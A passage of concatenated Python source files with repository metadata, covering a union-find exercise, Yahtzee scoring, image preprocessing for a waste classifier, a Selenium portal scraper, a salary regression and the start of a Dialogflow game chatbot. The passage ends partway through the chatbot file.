== 1:\n# union_parent(parent, i, j)\n\n# array = list(map(int, input().split()))\n\n# result = True\n# for i in range(m-1):\n# if find_parent(parent, array[i]) != find_parent(parent, array[i+1]):\n# result = False\n# break\n\n# if result:\n# print(\"YES\")\n# else:\n# print(\"NO\")\n# ########################################\n# ########################################\n# # 내풀이\n# # def find_parent(parent, x):\n# # if parent[x] != x:\n# # parent[x] = find_parent(parent, parent[x])\n# # return parent[x]\n\n# # def union_parent(parent, a, b):\n# # a = find_parent(parent, a)\n# # b = find_parent(parent, b)\n# # if a < b:\n# # parent[b] = a\n# # else:\n# # parent[a] = b\n\n# # n, m = map(int, input().split())\n# # parent = [0] * (n+1)\n# # chart = []\n\n# # # 부모 초기화\n# # for i in range(1, n+1):\n# # parent[i] = i\n\n# # # 도로상황 입력받기\n# # for i in range(n):\n# # chart.append(list(map(int, input().split())))\n\n# # # chart[a][b] == 1이면 a와 b의 부모 같게한다.\n# # for i in range(n):\n# # for j in range(i,n):\n# # if chart[i][j] == 1:\n# # union_parent(parent, i, j)\n\n# # array = list(map(int, input().split()))\n\n# # check = True\n# # start = find_parent(parent, array[0])\n# # for i in range(1, len(array)):\n# # go = find_parent(parent, array[i])\n# # if start != go:\n# # check = False\n# # break\n# # if check:\n# # print(\"YES\")\n# # else:\n# # print(\"NO\")","repo_name":"Minsik113/Algorithm-practice","sub_path":"[책]이것이코딩테스트다/8_그래프이론/1_여행계획.py","file_name":"1_여행계획.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11917874652","text":"from outcomes import *\nfrom copy import deepcopy\n\ndef check(array, val, operator=\">=\"):\n return eval(\"[x for x in array if x {} val]\".format(operator))\n\ndef checkStraight(array): #converts array to a binary string\n output = []\n for x in array:\n if x != 0:\n output.append(\"1\")\n else:\n output.append(\"0\")\n return \"\".join(output) #e.g. [0,1,5,0,3] --> 01101\n\nclass Score: #outputs all possible non-zero scores for a given dice set\n dice = []\n count = [0, 0, 0, 0, 0, 0, 0]\n fits = {}\n outcomes = {}\n\n def match(self):\n count = self.count\n for x in range(1,7): #does uppers\n if count[x] > 0: self.fits[\"upper\" + str(x)] += 1\n if check(count, 3): self.fits[\"three\"] += 1\n if check(count, 4): self.fits[\"four\"] += 1\n if check(count, 3, \"==\") and check(count, 2, \"==\"): self.fits[\"fullHouse\"] += 1\n if check(count, 5): self.fits[\"yahtzee\"] += 1\n if \"1111\" in checkStraight(count): self.fits[\"sStraight\"] += 1\n if \"11111\" in checkStraight(count): self.fits[\"lStraight\"] += 1\n\n def __init__(self, arg, fits): #arg is the dice set\n self.dice = [x.value for x in arg] #takes the value for each dice\n self.fits = deepcopy(fits)\n self.count = [0, 0, 0, 0, 0, 0, 0]\n self.outcomes = {}\n for x in self.dice:\n self.count[x] += 1 #creates a count i.e. if count[1]=3, then there are three ones in the dice set\n #print(\", \".join([\"[{}]: {}\".format(x, self.count[x]) for x in range(1,7)]))\n self.match()\n for key in self.fits:\n if self.fits[key] > 0:\n type = key[:-1] if \"upper\" in key else key\n variant = int(key[-1:]) if \"upper\" in key else 0\n self.outcomes[key] = Outcome(type, variant, self.dice)\n\n def __repr__(self):\n return \", \".join([\"{}({}): {}\".format(self.outcomes[x].type, self.outcomes[x].variant, self.outcomes[x].score) for x in self.outcomes])\n","repo_name":"corytaitchison/Yahtzee-Python","sub_path":"scores.py","file_name":"scores.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20308164977","text":"import torch\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\nimport numpy as np\nimport os\nimport cv2\nimport WasteClassifier.config as config\nimport shutil\nimport pathlib\nimport skimage\nimport random\nimport matplotlib.pyplot as plt\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ndef prepare_dataset(source_path: str, target_path: str, depth: int = 2, hog_transformed: bool = True):\n target_path = pathlib.Path(target_path)\n source_path = pathlib.Path(source_path)\n\n prepare_directories(source_path, target_path)\n prepare_dirs_for_binary_models(target_path)\n\n if depth == 0:\n count = 0\n\n for file_name in source_path.iterdir():\n target_file_path = target_path / file_name.name\n img = file_name\n img = resize_file(img)\n img = resize_file(file_name)\n img = bgr_to_hsv(img)\n # img = hog_image(img)\n count += 1\n\n # I know it hurts, but this it's just python file manipulation stuff\n elif depth == 2: # depth 2 is directory given in structure .../train|test/label/contents\n count = 0\n\n # first iterate over datasets split into train and test images\n for dataset in source_path.iterdir():\n # iterate over labels in train / test\n for label_path in dataset.iterdir():\n # iterate over every image in label directories\n for file_name in pathlib.Path(label_path).iterdir():\n target_file_path = target_path / dataset.name / label_path.name / file_name.name\n img = cv2.imread(str(file_name))\n\n if img is None:\n print(f'File {file_name} is broken. Removing')\n pathlib.Path(file_name).unlink()\n continue\n\n img = convert_img_to_nn_input(img, hog_transformed, hsv_transformed=config.is_hsv)\n\n if hog_transformed:\n skimage.io.imsave(str(target_file_path), img) # img.astype(np.uint8))\n # skimage.io.imsave(str(target_file_path), img.astype(np.uint8))\n else:\n cv2.imwrite(str(target_file_path), img)\n\n save_imgs_to_binary_catalogs(img, target_file_path.parents[2], label_path.name, file_name.name,\n hog_transformed)\n count += 1\n\n print(f'Extracting photos for {dataset.name} {label_path.name} done')\n\n balance_binary_datasets(target_path)\n\n\ndef convert_img_to_nn_input(img, hog_transformed, hsv_transformed):\n # if img.shape != (512, 384, 3):\n # img = resize_file(img)\n\n if hsv_transformed:\n img = bgr_to_hsv(img)\n\n if hog_transformed:\n img = transform_with_hog(img)\n\n return img\n\n\ndef bgr_to_hsv(img):\n # input is cv2 image\n img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n return img\n\n\ndef transform_with_hog(img):\n # skimage_img = cv2_to_skimage(img)\n # features, hog = skimage.feature.hog(img, orientations=9, pixels_per_cell=(8, 8),\n # cells_per_block=(2, 2), visualize=True, multichannel=True)\n fd, hog = skimage.feature.hog(img, orientations=9, pixels_per_cell=(8, 8),\n cells_per_block=(2, 2), visualize=True, multichannel=True)\n\n return hog\n\n\ndef cv2_to_skimage(img):\n img = img[:, :, ::-1] # in opencv photos are BGR\n return skimage.util.img_as_float(img)\n\n\ndef skimage_to_cv2(img):\n img = img[:, :, ::-1]\n return skimage.util.img_as_ubyte(img)\n\n\ndef resize_file(img):\n # input is cv2 image\n resized = cv2.resize(img, (config.PHOTO_WIDTH, config.PHOTO_HEIGHT))\n return resized\n\n\ndef prepare_directories(src_dir, tgt_dir):\n\n # cannot use one function to delete all files under directory like rm -rf\n if tgt_dir.is_dir() and len([x for x in tgt_dir.iterdir()]) != 0:\n shutil.rmtree(tgt_dir)\n elif tgt_dir.is_dir():\n pathlib.Path(tgt_dir).rmdir()\n\n pathlib.Path(f'{tgt_dir}/train').mkdir(parents=True, exist_ok=False)\n pathlib.Path(f'{tgt_dir}/test').mkdir(parents=True, exist_ok=False)\n for label in os.listdir(f'{src_dir}/train'):\n pathlib.Path(f'{tgt_dir}/train/{label}').mkdir()\n pathlib.Path(f'{tgt_dir}/test/{label}').mkdir()\n\n\ndef prepare_dirs_for_binary_models(target_path):\n # binary classification assumption is to make separate models for every waste fraction, hence we need to have two\n # catalogs for every label this is: \"label\" and \"everything but label\"\n train_labels = [label_path for label_path in pathlib.Path(target_path, 'train').iterdir()]\n test_labels = [label_path for label_path in pathlib.Path(target_path, 'test').iterdir()]\n labels = train_labels + test_labels\n for label in labels:\n catalog_path = pathlib.Path(label.parents[1], f'{label.parent.name}_all_but_{label.name}')\n catalog_path.mkdir()\n pathlib.Path(catalog_path, label.name).mkdir()\n pathlib.Path(catalog_path, f'not_{label.name}').mkdir()\n\n\ndef save_imgs_to_binary_catalogs(img, target_path, label, filename, use_skimage):\n # function distributes images to all_but_dirs - for x label: in all_but_{x} puts to catalog {x} and in all_but_{y}\n # puts to not_{y} catalog\n not_dirs = [path for path in target_path.iterdir()\n if label not in path.name and path.name != 'train' and path.name != 'test']\n\n proper_dirs = [path for path in target_path.iterdir()\n if label in path.name and path.name != 'train' and path.name != 'test']\n\n for all_but_dir in not_dirs:\n not_dir = f'{all_but_dir}/not_{all_but_dir.name.split(\"_\")[-1]}'\n not_dir_file_path = f'{not_dir}/{filename}'\n if use_skimage:\n skimage.io.imsave(str(not_dir_file_path), img)#img.astype(np.uint8))\n # skimage.io.imsave(str(not_dir_file_path), img.astype(np.uint8))\n else:\n cv2.imwrite(not_dir_file_path, img)\n\n for proper_dir in proper_dirs:\n label_dir = f'{proper_dir}/{proper_dir.name.split(\"_\")[-1]}'\n file_path = f'{label_dir}/{filename}'\n if use_skimage:\n skimage.io.imsave(str(file_path), img) # img.astype(np.uint8))\n # skimage.io.imsave(str(file_path), img.astype(np.uint8))\n else:\n cv2.imwrite(file_path, img)\n\n\ndef balance_binary_datasets(target_path):\n # in order to binary dataset not being unbalanced gonna trim {not_label} dir to the length of {label} dir\n\n for binary_dataset in target_path.iterdir():\n if binary_dataset.name == 'train' or binary_dataset.name == 'test':\n continue\n\n label_path = binary_dataset / binary_dataset.name.split('_')[-1]\n all_but_path = binary_dataset / f'not_{binary_dataset.name.split(\"_\")[-1]}'\n files_in_label_catalog = len(list(label_path.iterdir()))\n files_in_but_catalog = len(list(all_but_path.iterdir()))\n\n if files_in_label_catalog >= files_in_but_catalog:\n continue\n\n indexes_to_keep = random.sample(range(files_in_but_catalog), files_in_label_catalog)\n\n idx = -1\n for img in all_but_path.iterdir():\n idx += 1\n if idx in indexes_to_keep:\n continue\n else:\n img.unlink()\n\n\nclass DataManager:\n\n def __init__(self, data_path, cnn: 'string', transform_type: str = 'test',\n batch_size: int = 10, grayscale: bool = True):\n self.data_path = data_path\n self.batch_size = batch_size\n self.grayscale = grayscale\n self.num_of_classes = None\n self.dataloader = None\n self.image_folder = None\n if self.grayscale:\n # norm_mean = 0.485\n norm_mean = 0.3276\n # norm_std = 0.229\n norm_std = 0.1824\n else:\n # norm_mean = [0.485, 0.456, 0.406]\n norm_mean = [0.2200, 0.0655, 0.0440]\n # norm_std= [0.229, 0.224, 0.225]\n norm_std = [0.1078, 0.0844, 0.0549]\n\n nn_input_size = 299 if cnn == 'incpetion' else (384, 512)\n\n if transform_type == 'test':\n transforms_list = [\n transforms.Resize(nn_input_size),\n transforms.CenterCrop(nn_input_size),\n transforms.ToTensor(),\n transforms.Normalize(norm_mean, norm_std)\n ]\n else:\n transforms_list = [\n transforms.Resize(nn_input_size),\n transforms.RandomRotation(45),\n transforms.RandomHorizontalFlip(),\n transforms.RandomVerticalFlip(),\n transforms.CenterCrop(nn_input_size), # 384, 512\n transforms.ToTensor(),\n transforms.Normalize(norm_mean, norm_std)\n ]\n if self.grayscale:\n transforms_list.append(transforms.Grayscale())\n\n self.transform = transforms.Compose(transforms_list)\n\n def return_dataset_and_loader(self, manual_seed: int = 42, return_loader: bool = True, shuffle: bool = True):\n\n data = datasets.ImageFolder(self.data_path, transform=self.transform)\n\n torch.manual_seed(manual_seed)\n if return_loader:\n loader = DataLoader(data, batch_size=self.batch_size, shuffle=shuffle)\n self.dataloader = loader\n self.image_folder = data\n return loader, data\n\n self.image_folder = data\n return data\n\n def return_dataset_and_laoder_of_n_photos(self, n: int, display_photos: bool = True, shuffle: bool = True):\n\n data = datasets.ImageFolder(self.data_path, transform=self.transform)\n data = torch.utils.data.Subset(data, np.random.choice(len(data), n))\n\n loader = DataLoader(data, self.batch_size, shuffle=shuffle)\n\n return data, loader\n\n def get_number_of_classes(self):\n num_of_classes = len(next(os.walk(self.data_path))[1])\n self.num_of_classes = num_of_classes\n\n return num_of_classes\n\n\nif __name__ == '__main__':\n # read_to_loader_n_photos('/home/peprycy/WasteClassifier/Data/TrashNet', 5)\n prepare_dataset(config.SPLIT_IMAGES_PATH, config.PREPROCESSED_IMAGES_PATH, 2, hog_transformed=False)\n","repo_name":"PatrycyD/WasteClassifier","sub_path":"WasteClassifier/preprocessing/images_preprocessing.py","file_name":"images_preprocessing.py","file_ext":"py","file_size_in_byte":10502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"34151682475","text":"import json\nimport os\nfrom selenium import webdriver\nimport time\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.options import Options\n\n\n# 获取cookie\ndef get_coo(driver):\n # 使用json读取cookies\n with open('cookie.json', 'r') as f:\n json_cookies = f.read()\n cookie_list = json.loads(json_cookies)\n # 将cookie添加到请求头中\n for cookie in cookie_list:\n # 复制cookie字典\n cookie_dict = cookie.copy()\n # 添加cookie到请求头中\n driver.add_cookie({'name': 'SESSION', 'value': cookie_dict['value']})\n driver.get(\"http://www.ctgpaas.cn:9000/paas/cloudportal/site/\")\n\n\n# 通过元素XPATH判断是否存在该元素\ndef getElementExistanceByXPATH(driver, element_XPATH):\n element_existance = True\n\n try:\n # 尝试寻找元素,如若没有找到则会抛出异常\n element = driver.find_element(By.XPATH, element_XPATH)\n except:\n element_existance = False\n\n return element_existance\n\n\n# 遍历无状态列表中的内容\ndef get_Stateless_List(driver, space_name):\n next = 0\n while True:\n # 打开工作负载中的名称\n test_name = driver.find_elements(By.XPATH,\n \"/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div[2]/div[1]/div[\"\n \"3]/table/tbody//button[@class='el-button el-button--text \"\n \"el-button--small']\")\n print(\"工作负载:\", len(test_name))\n for x in range(len(test_name)):\n time.sleep(0.5)\n name = test_name[x].text\n if not os.path.exists(f'{space_name}/{name}'):\n os.makedirs(f'{space_name}/{name}')\n print('名称:' + name)\n test_name[x].click()\n time.sleep(0.5)\n # 判断是否有数据\n if not getElementExistanceByXPATH(driver, '//*[@id=\"pane-pod\"]/div/div[1]/div[3]/div/span'):\n # 打开表格\n pod_out = driver.find_element(by=By.XPATH,\n value='//*[@id=\"pane-pod\"]/div/div[1]/div[3]/table/tbody/tr[1]/td['\n '1]/div/div/i')\n pod_out.click()\n # # pod列表\n # pod_list = driver.find_elements(by=By.XPATH, value='//*[@id=\"pane-pod\"]/div/div[1]/div['\n # '3]/table/tbody/tr[2]/td/div/div['\n # '3]/table/tbody//div[@class=\"cell\"]')\n # print(len(pod_list))\n # plist = []\n # for s in range(0, len(pod_list), 7):\n # print(s, pod_list[s].text)\n # dic = {'容器名称': pod_list[s].text, '容器ID': pod_list[s + 1].text,\n # '镜像版本号': pod_list[s + 2].text,\n # '重启次数': pod_list[s + 3].text, 'CPU': pod_list[s + 4].text, '内存': pod_list[s + 5].text,\n # '状态': pod_list[s + 6].text}\n # plist.append(dic)\n # json_plist = json.dumps(plist, ensure_ascii=False)\n # with open(f'{space_name}/{name}/pod.json', 'w') as f:\n # f.write(json_plist)\n #\n # # 日志\n # diary_btn = driver.find_element(by=By.ID, value='tab-log')\n # diary_btn.click()\n # time.sleep(1)\n # diary = driver.find_element(By.TAG_NAME, \"code\")\n # diary_list = json.dumps(diary.text.split('\\n'))\n # with open(f'{space_name}/{name}/diary.json', 'w') as f:\n # f.write(diary_list)\n # # 转到监控页面\n # mon_btn = driver.find_element(By.ID, 'tab-monitor')\n # mon_btn.click()\n # time.sleep(1)\n # # 找到canvas元素和tooltip元素\n # canvas = driver.find_elements(By.TAG_NAME, \"canvas\")\n # tooltip = driver.find_elements(By.XPATH, '//div[@class=\"g2-tooltip\"]')\n # print(len(canvas), len(tooltip))\n # get_canvas(driver, canvas, tooltip, space_name, name)\n driver.back()\n # 判断是否需要翻页\n next_page = driver.find_element(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div['\n '2]/div[2]/button[2]')\n if next_page.is_enabled():\n for n in range(next):\n ActionChains(driver).move_to_element(next_page)\n next_page.click()\n else:\n break\n next += 1\n\n\n# 在命名空间中打开wict\ndef get_wict(driver, space_name):\n # 打开工作负载中的名称\n wict_list = []\n gzxwictapp = driver.find_element(By.XPATH, \"/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div[2]/div[\"\n \"1]/div[3]/table/tbody/tr[4]/td[2]/div/button\")\n gzxwictback = driver.find_element(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div[2]/div['\n '1]/div[3]/table/tbody/tr[5]/td[2]/div/button')\n gzxwictfront = driver.find_element(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div[2]/div['\n '1]/div[3]/table/tbody/tr[6]/td[2]/div/button')\n wict_list.append(gzxwictapp)\n wict_list.append(gzxwictback)\n wict_list.append(gzxwictfront)\n print(\"工作负载:\", len(wict_list))\n for x in range(len(wict_list)):\n time.sleep(0.5)\n # 翻页\n next_page = driver.find_element(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[2]/div['\n '2]/div[2]/button[2]/i')\n\n ActionChains(driver).move_to_element(next_page).perform()\n next_page.click()\n time.sleep(0.5)\n name = wict_list[x].text\n if not os.path.exists(f'{space_name}/{name}'):\n os.makedirs(f'{space_name}/{name}')\n print('名称:' + name)\n wict_list[x].click()\n # # 打开表格\n # pod_out = driver.find_element(by=By.XPATH,\n # value='//*[@id=\"pane-pod\"]/div/div[1]/div[3]/table/tbody/tr[1]/td['\n # '1]/div/div/i')\n # pod_out.click()\n # time.sleep(1)\n # # pod列表\n # pod_list = driver.find_elements(by=By.XPATH, value='//*[@id=\"pane-pod\"]/div/div[1]/div[3]/table/tbody/tr['\n # '2]/td/div/div[3]/table/tbody//div[@class=\"cell\"]')\n # print(len(pod_list))\n # plist = []\n # for s in range(0, len(pod_list), 7):\n # print(s, pod_list[s].text)\n # dic = {'容器名称': pod_list[s].text, '容器ID': pod_list[s + 1].text, '镜像版本号': pod_list[s + 2].text,\n # '重启次数': pod_list[s + 3].text, 'CPU': pod_list[s + 4].text, '内存': pod_list[s + 5].text,\n # '状态': pod_list[s + 6].text}\n # plist.append(dic)\n # json_plist = json.dumps(plist, ensure_ascii=False)\n # with open(f'{space_name}/{name}/pod.json', 'w') as f:\n # f.write(json_plist)\n #\n # # 日志\n # diary_btn = driver.find_element(by=By.ID, value='tab-log')\n # diary_btn.click()\n # time.sleep(1)\n # diary = driver.find_element(By.TAG_NAME, \"code\")\n # diary_list = json.dumps(diary.text.split('\\n'))\n # with open(f'{space_name}/{name}/diary.json', 'w') as f:\n # f.write(diary_list)\n # 转到监控页面\n\n con_btn = driver.find_element(By.XPATH, '//*[@id=\"pane-monitor\"]/div/form/div[1]/div/div/label[2]')\n con_btn.click()\n time.sleep(2)\n canvas_container = driver.find_elements(By.TAG_NAME, \"canvas\")\n tooltip_container = driver.find_elements(By.XPATH, '//div[@class=\"g2-tooltip\"]')\n print(len(canvas_container), len(tooltip_container))\n\n driver.back()\n\n\n# 进入命名空间\ndef get_namespace(driver):\n # 进入命名空间\n namespace_btn = driver.find_element(by=By.XPATH, value=\"/html/body/div[2]/div/div/div[1]/div/aside/div/ul/li[3]\")\n namespace_btn.click()\n time.sleep(1)\n # 选择命名空间\n small_btn = driver.find_elements(By.XPATH, '/html/body/div[2]/div/div/div[2]/div/div[2]/div[2]/div[1]//div['\n '@class=\"el-table__body-wrapper is-scrolling-none\"]/table/tbody/tr/td['\n '1]//button')\n for s in range(len(small_btn)):\n space_name = small_btn[s].text\n print(\"命名空间\" + space_name)\n small_btn[s].click()\n if not os.path.exists(f'{space_name}'):\n os.makedirs(space_name)\n\n # # 打开基本信息\n # inf_btn = driver.find_element(by=By.XPATH, value='/html/body/div[2]/div/div/div[2]/div/div[2]/div/div['\n # '1]/div/div/div[1]/div[1]/span[2]')\n # inf_btn.click()\n # # 爬取基本信息\n # label = driver.find_elements(by=By.XPATH, value='/html/body/div[2]/div/div/div[2]/div/div[2]/div/div['\n # '2]/div/div/form/div[8]/div/div//label')\n # inf = driver.find_elements(by=By.XPATH, value='/html/body/div[2]/div/div/div[2]/div/div[2]/div/div['\n # '2]/div/div/form/div[8]/div/div//span')\n # inf_list = []\n # label_list = []\n # for l in range(len(label)):\n # inf_list.append(inf[2 * l].text + ' ' + inf[2 * l + 1].text)\n # label_list.append(label[l].text)\n # inf_dic = dict(zip(label_list, inf_list))\n # inf_json = json.dumps(inf_dic, ensure_ascii=False)\n # with open(f'{space_name}/inf.json', 'w') as f:\n # f.write(inf_json)\n\n # 打开工作负载\n workload = driver.find_element(by=By.XPATH,\n value='/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[1]/div/div/div['\n '2]/div[1]/span[1]')\n workload.click()\n\n # 打开无状态列表\n node = driver.find_element(by=By.XPATH,\n value=\"/html/body/div[2]/div/div/div[2]/div/div[2]/div/div[1]/div/div/div[2]/div[\"\n \"2]/div[1] \"\n )\n node.click()\n get_wict(driver, space_name)\n driver.get('http://www.ctgpaas.cn:9000/paas/dcos/2.7.10/?ctxPath=dcos#/namespace/namespace-list')\n\n\n# 爬取信息\ndef get_inf(driver):\n # 打开管理中心\n manage_btn = driver.find_element(by=By.XPATH, value=\"/html/body/div/div[1]/header/div[2]/div/ul/li[1]/a\")\n manage_btn.click()\n time.sleep(2)\n # 进入容器\n el_link = driver.find_element(by=By.XPATH,\n value=\"/html/body/div[2]/div/div[2]/div[2]/div/div/div[2]/div/div/div/div[1]/div[\"\n \"2]/div/div/div[2]/div/div[2]/span/div[4]/a\")\n if not el_link.is_displayed():\n open_btn = driver.find_element(by=By.XPATH, value='//*[@id=\"app\"]/div/div[2]/div[2]/div/div/div['\n '2]/div/div/div/div[1]/div[2]/div/div/div[2]/div/div['\n '1]/h3/button')\n open_btn.click()\n el_link.click()\n time.sleep(2)\n\n windows = driver.window_handles\n driver.switch_to.window(windows[-1])\n\n # 进入命名空间\n namespace_btn = driver.find_element(by=By.XPATH, value=\"/html/body/div[2]/div/div/div[1]/div/aside/div/ul/li[3]\")\n namespace_btn.click()\n time.sleep(1)\n while True:\n get_namespace(driver)\n time.sleep(10)\n\n\n\n\n\nchrome_options = Options()\nchrome_options.add_experimental_option(\"detach\", True)\n\ndriver = webdriver.Chrome(options=chrome_options)\ndriver.get(\"http://www.ctgpaas.cn:9000/paas/cloudportal/site/\")\ndriver.maximize_window()\ndriver.implicitly_wait(5)\nget_coo(driver)\nget_inf(driver)\n","repo_name":"VanDrans/Selenium","sub_path":"翼龙数据爬取/wict.py","file_name":"wict.py","file_ext":"py","file_size_in_byte":12508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12645651556","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n#import the dataset\ndf = pd.read_csv(\"Salary_Data.csv\")\ndf.head()\n# Check for missing Data\ndf.isnull().sum()\nx = df[\"YearsExperience\"]\ny = df[\"Salary\"]\nplt.scatter(x,y)\nplt.xlim(0,)\nplt.ylim(0,)\nplt.xlabel(\"Experience\")\nplt.ylabel(\"Salary\")\nplt.show()\n\n#Train Test Split\nfrom sklearn.model_selection import train_test_split\nX = df.iloc[:,:-1].values\nY = df.iloc[:,1].values\nX_train,X_test,Y_train,Y_test = train_test_split(X,Y,test_size=0.2, random_state = 0)\n\n#Fitting Simple Linear Regression Model\nfrom sklearn.linear_model import LinearRegression\nlr = LinearRegression()\nlr.fit(X_train,Y_train)\n\n#Predicting for X_test\nY_pred = lr.predict(X_test)\n#Visualize\nplt.scatter(X_train,Y_train, color = 'red')\nplt.plot(X_train,lr.predict(X_train),color = 'blue') ##Regression Line\nplt.title(\"Salary v/s Experience (Training Set)\")\nplt.xlabel(\"Years Of Experience\")\nplt.ylabel(\"Salary\")\nplt.show()\n\n#Test Data Visualization\nplt.scatter(X_test,Y_test, color = 'red')\nplt.plot(X_test,Y_pred,color = 'blue') ##Regression Line\nplt.title(\"Salary v/s Experience (Test Set)\")\nplt.xlabel(\"Years Of Experience\")\nplt.ylabel(\"Salary\")\nplt.show()\n # Accuracy\nrss=((Y_test-Y_pred)**2).sum()\nmse=np.mean((Y_test-Y_pred)**2)\nprint(\"Final rmse value is =\",np.sqrt(np.mean((Y_test-Y_pred)**2)))\n\nfrom sklearn.metrics import mean_squared_error\nmean_squared_error(Y_test,Y_pred)\n\n# Result : RMSE = 3580.979237321343\n","repo_name":"Lohomi/Analytics","sub_path":"Linear.py","file_name":"Linear.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"819911123","text":"import heapq\nimport os\nimport uuid\nimport csv\nimport re\nimport nltk\nimport numpy as np\nfrom nltk import pos_tag\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom google.cloud import dialogflow_v2 as dialogflow\nfrom eldenbot_api_calls import (get_class_comparison, get_boss_info,\n get_lvl_recommendations, get_weapon_help,\n get_class_info, get_stats_help,\n get_item_info, get_build_help)\n\nAPI_KEY_PATH = './API KEY GOES HERE' # replace this line with the path to your own API Key\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = API_KEY_PATH\nproject_id = 'eldenbot-tbwr'\nsession_id = str(uuid.uuid4())\nDATABASE_PATH = 'user_database.csv'\nCONVERSATION_LOG = 'conversation_log.txt'\n\n\ndef append_to_log(text, logfile):\n \"\"\"\n Functions that logs user interactions to the log\n \"\"\"\n with open(logfile, \"a\") as f:\n f.write(text)\n if not text.endswith(\"\\n\"):\n f.write(\"\\n\")\n\n\ndef top_tfidf_words(filename, n_words=3):\n \"\"\"\n Does TF-IDF and gets the the top three most common words\n \"\"\"\n with open(filename, 'r') as f:\n text = f.read()\n\n # Tf-Idf stats only displays if the user has typed enough words\n words = text.split()\n if len(words) < 3:\n return []\n\n vectorizer = TfidfVectorizer(stop_words='english')\n tfidf_matrix = vectorizer.fit_transform([text])\n feature_names = vectorizer.get_feature_names_out()\n tfidf_scores = tfidf_matrix.toarray().flatten()\n top_indices = heapq.nlargest(n_words, range(len(tfidf_scores)), key=tfidf_scores.__getitem__)\n top_words = [feature_names[i] for i in top_indices]\n top_scores = [tfidf_scores[i] for i in top_indices]\n \n # prints the top words tf-idf scores and their corresponding terms\n print(f\"Top {n_words} TF-IDF Words:\")\n for i in range(n_words):\n print(f\"{i+1}. Word: {top_words[i]}, TF-IDF Score: {top_scores[i]}\")\n \n return top_words\n\n\ndef initialize_database(file_path):\n \"\"\"\n Function that takes a CSV file path as input\n and returns a dictionary containing each user info and their saved information\n \"\"\"\n db = {}\n with open(file_path, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n name = row['Name']\n class_name = row['Class']\n level = row['Level']\n if name in db:\n db[name].append([class_name, level])\n else:\n db[name] = [[class_name, level]]\n return db\n\n\ndef extract_name(sentence):\n \"\"\"\n Uses NLTK to extract a name from a sentence and returns it\n \"\"\"\n # Tokenize input\n words = nltk.word_tokenize(sentence)\n\n # Extract proper nouns from sentence using POS tagging\n pos_tags = pos_tag(words)\n proper_nouns = [word for word, tag in pos_tags if tag in ['NNP', 'NNPS', 'NNP$']]\n\n # Get first name\n if proper_nouns:\n return proper_nouns[0]\n else:\n raise ValueError('No name found in input sentence. Thanks NLTK :(')\n\n\ndef get_response_with_intent(project_id, session_id, text, intent_name):\n \"\"\"\n Use this whenever we need to get a response based on the intent\n \"\"\"\n session_client = dialogflow.SessionsClient()\n session = session_client.session_path(project_id, session_id)\n\n text_input = dialogflow.TextInput(text=text, language_code='en-US')\n query_input = dialogflow.QueryInput(text=text_input)\n\n response = session_client.detect_intent(\n session=session,\n query_input=query_input,\n intent_name=intent_name\n )\n\n return response\n\n\ndef get_response(project_id, session_id, text):\n \"\"\"\n Gets the API response from dialogflow and returns it\n as a dictionary\n \"\"\"\n session_client = dialogflow.SessionsClient()\n session = session_client.session_path(project_id, session_id)\n text_input = dialogflow.TextInput(text=text, language_code='en-US')\n query_input = dialogflow.QueryInput(text=text_input)\n response = session_client.detect_intent(session=session, query_input=query_input)\n\n response_dict = {\n 'query_text': response.query_result.query_text,\n 'speech_recognition_confidence': response.query_result.speech_recognition_confidence,\n 'action': response.query_result.action,\n 'all_required_params_present': response.query_result.all_required_params_present,\n 'fulfillment_text': response.query_result.fulfillment_text,\n 'fulfillment_messages': response.query_result.fulfillment_messages,\n 'output_contexts': response.query_result.output_contexts,\n 'intent': response.query_result.intent,\n 'intent_detection_confidence': response.query_result.intent_detection_confidence,\n 'diagnostic_info': response.query_result.diagnostic_info,\n 'sentiment_analysis_result': response.query_result.sentiment_analysis_result,\n }\n return response_dict\n\n\ndef extract_user_info(text):\n \"\"\"\n Function that takes the successful user creation response\n and stores it in a set\n \"\"\"\n regex = r\"^Awesome, you are (\\w+), your level is (\\d+) and you play as a (\\w+)$\"\n match = re.match(regex, text)\n if match:\n person = match.group(1)\n level = int(match.group(2))\n character_class = match.group(3)\n return (person, level, character_class)\n else:\n raise ValueError(\"Something went wrong, rerun and try again\")\n\n\ndef add_user_to_database(file_path, username, userlevel, userclass):\n \"\"\"\n Adds a new user to the CSV\n \"\"\"\n with open(file_path, mode='a', newline='') as file:\n writer = csv.writer(file)\n file.write('\\n')\n writer.writerow([username, userclass, userlevel])\n\n\ndef get_stats_from_csv(username):\n \"\"\"\n Adds a new user to the CSV\n \"\"\"\n data = current_database[username]\n print(\"Level : \" + str(data[0][1]))\n print(\"Class : \" + str(data[0][0]))\n return username, data[0][0], data[0][1]\n\n\ndef update_level(newlevel, username):\n \"\"\"\n Changes the level of the user in the database\n can only be called for users already there\n \"\"\"\n with open(DATABASE_PATH, 'r') as csvfile:\n reader = csv.DictReader(csvfile)\n data = {row['Name']: [[row['Class'], row['Level']]] for row in reader}\n\n data[username][0][1] = newlevel\n\n with open(DATABASE_PATH, 